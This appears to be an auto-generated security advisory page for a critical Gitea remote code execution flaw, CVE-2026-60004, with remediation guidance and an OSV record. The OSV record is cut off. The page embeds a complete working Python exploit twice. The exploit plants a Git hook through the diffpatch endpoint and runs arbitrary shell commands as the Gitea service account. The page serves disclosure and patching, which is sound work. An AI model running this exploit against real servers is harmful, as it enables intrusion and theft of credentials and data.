CVE-2026-60004: Gitea Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-rcr6-4jqh-j84m
CVSS 9.8
CWE-94
Published
Advisory Summary

CVE-2026-60004 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Gitea libraries in the Go ecosystem. The issue involves remote code execution via diffpatch git hook installation. Remediation is available by upgrading affected packages to version 1.27.1.

CVE-2026-60004 at a Glance

CVE Identifier CVE-2026-60004
GHSA Identifier GHSA-rcr6-4jqh-j84m
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-60004

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gitea.dev fixed: 1.27.1
Upgrade gitea.dev to 1.27.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gitea.dev

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-60004, inspect your project dependencies for Gitea:

inspect dependencies for gitea.dev

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content. An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. ### Details `services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") } ```` Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`. In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named: ```text hooks/post-index-change ``` becomes a live Git hook. Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account. The hook's return value is not propagated to the `diffpatch` response. The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP. ### PoC The supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository. Set the account password: ```bash export GITEA_PASSWORD='account-password' ``` Execute a command through the `diffpatch` chain: ```bash python3 ./gitea_diffpatch_rce_poc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd' ``` The script: * Creates an initialized private repository. * Submits the same executable-hook patch twice. * Fetches the result branch. * Prints the command's combined stdout, stderr, and exit status. * Prints the evidence repository, ref, and commit IDs to stderr. Expected output resembles: ```text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/... [exit-status=0] ``` The trigger requires: * Git 2.32 or newer. * An enabled `diffpatch` route. * A writable and executable temporary filesystem. Open registration is required only for the no-prior-credentials attack path. ### Impact This is remote command execution as the Gitea service account (`CWE-94`). Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose: * `app.ini` and Gitea application secrets. * Process environment secrets. * Mounted repositories. * Database credentials and database contents. * OAuth and integration credentials. * Other internal or externally reachable services. With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository. <img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" /> ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitea RCE PoC – authorized testing only. """ from __future__ import annotations import argparse import base64 import getpass import hashlib import json import os from pathlib import Path import secrets import shlex import shutil import subprocess import sys import tempfile from typing import Any import urllib.error import urllib.parse import urllib.request TIMEOUT = 30.0 USER_AGENT = "gitea-rce-poc/2.0" _RST = "\033[0m" _DIM = "\033[2m" _GRN = "\033[38;5;46m" # bright green _RED = "\033[31m" # red for errors def _g(t: str) -> str: return f"{_GRN}{t}{_RST}" def _r(t: str) -> str: return f"{_RED}{t}{_RST}" def _d(t: str) -> str: return f"{_DIM}{t}{_RST}" def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}") def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}") def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}") _SEP = " " + "═" * 44 BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}" def print_banner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(_g(line)) print() ver = version or "unknown" print(_g(" " + "-" * 54)) print(_g(f" Target : {url}")) print(_g(f" Version : {ver}")) if command: print(_g(f" Command : {command}")) print(_g(" " + "-" * 54)) print() class PocError(RuntimeError): pass class GiteaClient: def __init__(self, base_url: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.base_url = base_url.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}" def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.base_url + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USER_AGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2_000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON") def blob_oid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest() def build_hook(command: str, leak_ref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leak_ref}") return ( "#!/bin/sh\n" 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n' 'case "$origin_objects" in\n' ' /*) ;;\n' ' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n' "esac\n" 'origin_git=${origin_objects%/objects}\n' '[ "$origin_git" != "$origin_objects" ] || exit 3\n' f"output_blob=$({{ /bin/sh -c {qcmd}; " 'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | ' 'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | ' 'git --git-dir="$origin_git" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid " "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid " 'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode() def build_patch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'*40}..{blob_oid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode() def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, *arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout def fetch_output(git: str, client: GiteaClient, owner: str, repo: str, leak_ref: str) -> bytes: remote = ( f"{client.base_url}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" auth_cfg = Path(tmp) / "auth.config" fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} run_git(git, ["init", "--bare", "--quiet", str(bare)], env) run_git(git, [ "-C", str(bare), "-c", f"include.path={auth_cfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leak_ref}", ], env) return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env) def split_output(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.add_argument("url", help="Gitea base URL") p.add_argument("username", help="existing Gitea username") p.add_argument("command", help="shell command to execute on target") return p.parse_args() def main() -> int: args = parse_args() if "\0" in args.command: raise PocError("command must not contain a NUL character") password = os.environ.get("GITEA_PASSWORD") or getpass.getpass( _g("[?]") + " password: " ) if not password: raise PocError("password must not be empty") git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH") client = GiteaClient(args.url, args.username, password) # version probe (pre-banner) log_star("probing target...") version: str | None = None try: r = urllib.request.Request( client.base_url + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USER_AGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" print_banner(client.base_url, version, args.command) log_star(f"target={client.base_url} user={args.username} cmd={args.command}") print() # step 1 – authenticate log_star("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): log_err("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: log_err("no login in response"); raise PocError("no login") log_ok(f"logged in as {owner} ({version})") # step 2 – create repo unique = secrets.token_hex(5) repo = f"test-repo-{unique}" leak_ref = f"output-{unique}" log_star("creating repository...") sc, _ = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "auto_init": True, "default_branch": "main", "object_format_name": "sha1", }) if sc != 201: log_err("repo creation failed"); raise PocError("repo creation failed") log_ok(f"created repo {owner}/{repo}") # steps 3–4 – deliver payloads body = { "content": build_patch(build_hook(args.command, leak_ref)), "message": "initial commit", "branch": "main", "new_branch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): log_star(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: log_err(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: log_err(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}") # step 5 – retrieve output log_star("retrieving output...") output = fetch_output(git, client, owner, repo, leak_ref) log_ok("operation complete") # command output cmd_out, exit_status = split_output(output) print() log_ok(f"{args.command}:") print(_g("---")) if cmd_out: for line in cmd_out.splitlines(): print(_g(line)) else: print(_d("<no output>")) print(_g("---")) if exit_status == 0: log_ok(f"exit status: {exit_status}") elif exit_status is None: log_star("exit status: unknown") else: log_err(f"exit status: {exit_status}") return 0 if __name__ == "__main__": try: raise SystemExit(main()) except PocError as exc: log_err(str(exc)) raise SystemExit(1) from None ```

CVE-2026-60004 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.1
Product / Package Ecosystem Affected Versions Fixed Version
gitea.dev
Go
≥ 1.17.0
< 1.27.1
1.27.1

References

Frequently Asked Questions

What is CVE-2026-60004?
CVE-2026-60004 is a security vulnerability in Gitea involving Remote Code Execution via diffpatch Git Hook Installation under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.1 across affected packages: gitea.dev.
What version fixes CVE-2026-60004?
Upgrading to 1.27.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gitea.dev affected?
Yes, gitea.dev is affected in releases prior to 1.27.1. Upgrade your dependency to 1.27.1 or later.
What is the CVSS score of CVE-2026-60004?
CVE-2026-60004 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-60004?
CVE-2026-60004 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Go dependencies for CVE-2026-60004?
Run the dependency tree command: 'inspect dependencies for gitea.dev'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rcr6-4jqh-j84m",
  "modified" : "2026-09-08T17:56:30Z",
  "published" : "2026-09-08T17:56:30Z",
  "aliases" : [ "CVE-2026-60004" ],
  "summary" : "Gitea: Remote Code Execution via diffpatch Git Hook Installation",
  "details" : "### Summary\n\nGitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook's return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD='account-password'\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  'id; uname -srm; pwd'\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command's combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n<img width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" />\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC – authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -> str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -> str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -> str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -> None: print(f\"{_g('[*]')} {_d(msg)}\")\ndef log_ok  (msg: str) -> None: print(f\"{_g('[+]')} {_g(msg)}\")\ndef log_err (msg: str) -> None: print(f\"{_r('[-]')} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"═\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -> None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -> None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -> tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} → HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -> str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -> bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n'\n        'origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n'\n        'case \"$origin_objects\" in\\n'\n        '  /*) ;;\\n'\n        '  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n'\n        \"esac\\n\"\n        'origin_git=${origin_objects%/objects}\\n'\n        '[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n'\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        'command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2>&1 | '\n        'git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n'\n        'tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | '\n        'git --git-dir=\"$origin_git\" mktree) || exit 5\\n'\n        'commit=$(printf \"command output\\\\n\" | '\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        'git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n'\n        f'git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n'\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -> str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {'0'*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -> bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -> tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -> int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 – authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 – create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3–4 – deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 – retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"<no output>\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitea.dev"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.17.0"
      }, {
        "fixed" : "1.27.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
